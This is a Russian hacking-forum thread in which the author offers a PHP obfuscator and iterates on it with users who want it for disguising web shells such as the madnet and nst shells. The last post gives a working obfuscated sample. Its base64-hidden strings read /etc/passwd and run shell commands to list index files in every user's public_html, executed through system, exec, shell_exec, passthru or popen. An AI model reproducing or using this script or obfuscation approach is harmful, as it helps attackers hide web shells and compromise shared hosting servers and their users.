Как-то столкнулся с проблемой - надо было провести обфускацию исходников скрипта на PHP (для тех кто не знает, что это такое: http://ru.wikipedia.org/wiki/обфускация). Но никак не мог найти толкового обфускатора, все почему-то выдавали нерабочий код с ошибками. В итоге решил написать свой, вот что получилось: Исходники: http://stream.ifolder.ru/6593599 Пример работы: http://xxgate.jino-net.ru/ 1. Скрипт имеет веб-интерфейс, поддерживает обфускацию имен переменных, имен функций, методов классов, шифрование статических строк (без переменных), а также сжатие PHP-кода (удаляются лишние пробелы, комментарии и т.п.) 2. Имеется возможность указать переменные, функции, которые не следует заменять, а также функции, параметры которых не следует заменять 3. Можно выборочно отключить обфускацию строк/переменных/функций. Для каждого типа также есть по два вида обфускации. 4. Не поддерживаются конструкции $$var_name и eval, также после обфускации необходимо будет поменять соответствующие имена функций в функциях, устанавливающих манипуляторы (например, ob_gzhandler). Не поддерживаются вызовы функций по их именам из строк. А обфускация того скрипта, который я хотел изначально запутать, прошла отлично. Обновление 1.3. Скачать: Rapidshare Webfile
Да, пробовал делать обфускацию файла размером 100кб. Единственное, что не работает - это то, что я указал (eval и т.д., это просто остаётся как было, и нужно вручную править).
Если б допилил еще и обфускацию eval и $$var просто цены бы скриту не было =) А то eval то в шеллах часто есть...
Ну $$var по сути никак не обработать, потому что например в таком коде: PHP: <? $test='abc'; $$test=1; print $abc; //выведет 1 ?> содержимое переменной test может быть каким угодно, оно может вообще получаться из БД или откуда-то ещё. С eval примерно то же самое получается.
Да вот только что обнаружил, что всплывает ошибка иногда при включении сжатия файла, никак пока не могу определить, отчего. Всё, нашёл в чём дело было, поправил, перезалил. Маднетовский шелл теперь у меня нормально закодировался, но там используются как-раз таки $$var и eval.
Сделал версию 1.1. Исправлено множество мелких иногда возникающих ошибок при обфускации Теперь можно указать, заменять ли переменные и функции внутри скобок eval(). Строки в eval() по прежнему не заменяются, процесс нужно контролировать. Добавлена функция вывода подробной отладочной информации: -новые и старые имена замененных переменных и функций; -имена найденных, но не замененных переменных и функций; -имена функций, параметры которых нужно пересмотреть вручную Добавлено несколько переменных и функций в списки незаменяемых Пробовал кодировать шелл от nst - он остался работоспособным, хотя в коде присутствуют несколько eval'ов. Ссылка на скачивание и на пример в первом посте.
А добавь туда несколько методов обфускации. Kallisto, И которую madnet в своем шелле юзает - она очень сильно файло жмет. (gzip)
Версия 1.2 Добавлена функция сжатия кода gzip, можно указать разную степень сжатия. Если исходный код имеет разрывы, то есть располагается не в одном блоке <? ... ?>, то, скорее всего, сжатый PHP-код не будет выполняться. Обновил ссылки в первом посте.
Все прекрасно но перезалейте куда нибуть, где мозги не будут ипать насчет: Или же выложите исходник в теме, будет жить вечно.
Обновление 1.3. Что нового: Теперь можно давать переменным и функциям абсолютно схожие имена вида $_, $__, $___ и т.д. Добавлена функция заполнения исходника комментариями про Дэвида Блейна. Комментарии добавляются во все доступные места. Для того, чтобы увидеть хороший результат, убираем флажки "максимально сжать скрипт" и "сжать файл" и ставим флажки "Добавить спец. комментарии" и "Вывести комментарии в отдельных строках". Скачать: Rapidshare Webfile
Просьба привести небольшой (рабочий) пример кода после обфускации для тестирования на декодирование =)
Толку то? Код просто неудобно читать становится, а так вот: PHP: <? /* <=====street magic=====> */ /* <David Blaine>: Ага, вот эти ребята... */ function /* <Peter>: Ненененене!! */ _187659043($i){$a=Array('MS4gPGZvbnQgY29sb3I9Z3JlZW4+T0s8L2ZvbnQ+Cg==','CjEuIDxmb250IGNvbG9yPXJlZD5FcnJvcjwvZm9udD4=','L2hvbWUv','L3B1YmxpY19odG1sLw==','L1xzLw==','','ZmluZCA=','IA==','LXR5cGUgZiAtbmFtZSAiaW5kZXguKiI=','CjIuIDxmb250IGNvbG9yPXJlZD5FcnJvcjwvZm9udD4=','L2V0Yy9wYXNzd2Q=','Cg==','Y2F0IC9ldGMvcGFzc3dk','Og==','Iw==','','Cg==','cg==','');return /* <Avon>: Нет, нет, Дэвид Блейн, нет! */ base64_decode($a[$i]);} /* <David Blaine>: Я делаю особую, уличную магию. */ ?><?php /* <David Blaine>: Кто хочет увидеть немного магии? */ error_reporting(0); /* <Avon>: Чё мы тебе, долботрясы какие-нибудь? Нет, спасибо! */ $_= /* <Peter>: Мы целый день шопились, заманались, хотим просто отдохнуть, всё! */ l_(); /* <David Blaine>: И где вы шопились? */ if(count($_)>20){ /* <Peter>: В один магаз ходили новый! */ echo /* <Avon>: Он ещё не трендовый, ты про него не знаешь. */ _187659043(0);} /* <David Blaine>: И чо купили? */ else{ /* <Avon>: Я купил зеленый свитер, если ты так хочешь знать! */ echo /* <Peter>: Зеленый свитер! */ _187659043(1);} /* <David Blaine>: Интересно... А ты уверен, что ты не купил тедди беар, плюшевого мишку? */ while($__< /* <Avon>: Да, я уверен! */ count($_)){ /* <Avon>: ТЕДДИ БИР!! */ $___= /* <Peter>: Чё за херь! */ _187659043(2) .$_[$__] . /* <Peter>: Э, ты чо сделал-то, а?! */ _187659043(3); /* <Avon>: Где мой свитер? */ $___= /* <Peter>: Эй, он купил свитер, а он исчез, это ты его стырил? Притырил себе свитер, да это воровство! Отдай его свитер, сволочь! */ preg_replace( /* <Avon>: Я потратил 48 долларов, ты, тупой и убогий фокусник! Где он? */ _187659043(4), /* <Peter>: Питер, глянь чо на тебе! */ _187659043(5), /* <Avon>: Что за херня??? Как? */ $___); /* <Peter>: В РОТ МНЕ НОГИ!!! */ $____= /* <Avon>: Я держал в руках вещи! */ _187659043(6) .$___ . /* <Peter>: В рот мне ноги! */ _187659043(7) . /* <Avon>: А, он уже растянутый, спасибо тебе! */ _187659043(8); /* <Peter>: Слушай, остановись, а? */ $_____= /* <Avon>: Растянул свитер, я его даже не поносил ещё! */ trim(l__($____)); /* <David Blaine>: Эй. Эй, чё ты пьёшь? */ if($_____){ /* <Peter>: Оранж соду я пью! Что, в медведя превратишь? Я стакан-то держу! */ $______= /* <David Blaine>: Оранж соду? Может чё-нить другое оранжевое? */ true; /* <Peter>: Чо ещё оранжевое? Ну это, печеньки? */ echo"\n2. <font color=green>OK</font>: $___<br>";} /* <Peter>: ПЕЧЕНЬКИ!!! Стрелять-колотить! */ $__++;} /* <Peter>: ПЕЧЕНЬКИ!!! Печеньки! Печеньки! Печеньки! */ if(!$______){ /* <Peter>: Где оранж сода? Ты чо делаешь вообще, ты чо делаешь? */ echo /* <Avon>: У меня во рту оранж сода! */ _187659043(9);} /* <Peter>: Я на измене, я на измене! */ function /* <Avon>: Какая херня, ты положил её мне в рот! */ l_(){ /* <Peter>: В рот мне ноги, ты прекратишь это или нет, демон, остановись, в рот мне ноги! */ $_= /* <David Blaine>: Ну ладно-ладно, ребята, знаете, я хочу показать вам кое-что действительно крутое... */ array(); /* <Peter>: НЕТ! */ $_______= /* <Avon>: Не, чувак, лучше себе показывай! */ file( /* <David Blaine>: Так, подождите одну минуточку, секунду подождите... */ _187659043(10)); /* <Avon>: Оставь нас в покое! */ if(!$_______){ /* <Peter>: Ааа, видел я этот фокус, ножками перебирать будешь, типа взлететь хочешь. */ $_______= /* <Avon>: Мой племянник может так сделать, тоже мне фокус! */ explode( /* <David Blaine>: Просто подождите секундочку, а? */ _187659043(11), /* <Peter>: Крис Эйнджел делает это лучше, ****, понял, Крис Эйнджел делает это лучше! */ l__( /* <Avon>: Эйвин! Я лечу! */ _187659043(12)));} /* <Peter>: Ёманарот!! */ if(!$_______) /* <Avon>: Я чувствую тепло и лечу! */ return /* <Peter>: ЁМАНАРОТ!!! */ 0; /* <Peter>: Опусти его, пожалуйста, а? Ёманарот, под ним ничо нету, совсем ничо нету! */ foreach($_______ /* <Avon>: Он закинул меня на крышу! Он на крышу меня зачем-то закинул! Зачем ты меня сюда закинул? Дэвид Блейн, дай мне слезть! Дэвид Блейн, спусти меня! */ as /* <Peter>: Хватит мне газировку в рот пихать! */ $________){ /* <Avon>: Он даже не отлевитировал меня обратно! */ $_________=@explode( /* <Peter>: В рот мне ноги, валим отсюда быстрей! */ _187659043(13),$________); /* <David Blaine>: Эй, эй, ребята, ещё один трюк, ещё один фокус... */ if(substr($________,0,1)!= /* <Peter>: Иди в пень, а то щас ментов позову! */ _187659043(14)) /* <David Blaine>: Эй, подождите, парни, последний, обещаю. Эй, ребята! */ array_push($_,$_________[0]);} /* <David Blaine>: Если вы дадите мне показать ещё один фокус, я дам вам сто долларов. */ return /* <David Blaine>: Позвольте показать мне вам ещё один фокус, и я дам вам сто долларов. */ $_;} /* <Peter>: Дашь мне сто долларов? */ function /* <Avon>: Ты сможешь купить тот шарфик! */ l__($__________){ /* <Peter>: Точно! Зашибись, гони сто баксов. */ $___________= /* <David Blaine>: Могу я зайти? */ _187659043(15); /* <Peter>: Ну ладно, пошли... */ if(!empty($__________)){ /* <Peter>: Ты точно деньги дашь? */ if(function_exists('system')){@ob_start();@system($__________); /* <Avon>: Добро пожаловать в дом. */ $___________=@ob_get_contents();@ob_end_clean();} /* <Peter>: И вот мы в моей квартире, и чо? */ elseif(function_exists('exec')){@exec($__________,$___________); /* <David Blaine>: Вот это что такое? */ $___________= /* <Peter>: Мой видак. */ join( /* <David Blaine>: Интересно... Сделай мне одолжение, найди кассету, на которой написано 'Маленький Эйвон, апрель восемьдесят четвёртого'. */ _187659043(16),$___________);} /* <Peter>: Щас посмотрю, может где-то есть... */ elseif(function_exists('shell_exec')){ /* <David Blaine>: Посмотри в магнитофоне, она там. */ $___________=@shell_exec($__________);} /* <Avon>: Чё-то мне как-то сыкатно... */ elseif(function_exists('passthru')){@ob_start();@passthru($__________); /* <Peter>: Ну и чо такого, просто кассета, хоум видео... Я там в том возрасте ещё сиську сосу. Вот этот карапуз - я. */ $___________=@ob_get_contents();@ob_end_clean();} /* <Avon>: А вот это мама Эйвона. */ elseif(@is_resource($____________=@popen($__________, /* <Peter>: Вот я сопли пузырями надуваю, и чо? */ _187659043(17)))){ /* <Avon>: Его мама и щас хорошо выглядит. */ $___________= /* <David Blaine>: <в видео:> Вот сто долларов. Я должен Вашему сыну. */ _187659043(18); /* <Peter>: Фак мой моск!! */ while(!@feof($____________)){ /* <Avon>: Это что вообще за ***ня?!!!! */ $___________ /* <Avon>: Тот же самый и там и там!! */ .=@fread($____________,1024);}@pclose($____________);}} /* <Peter>: Фак мой моск!!! */ return /* <Peter>: В рот мне ноги, тут вообще чё происходит-то, а?!!! */ $___________;} /* <Avon>: Блин, я обоссался! */ ?>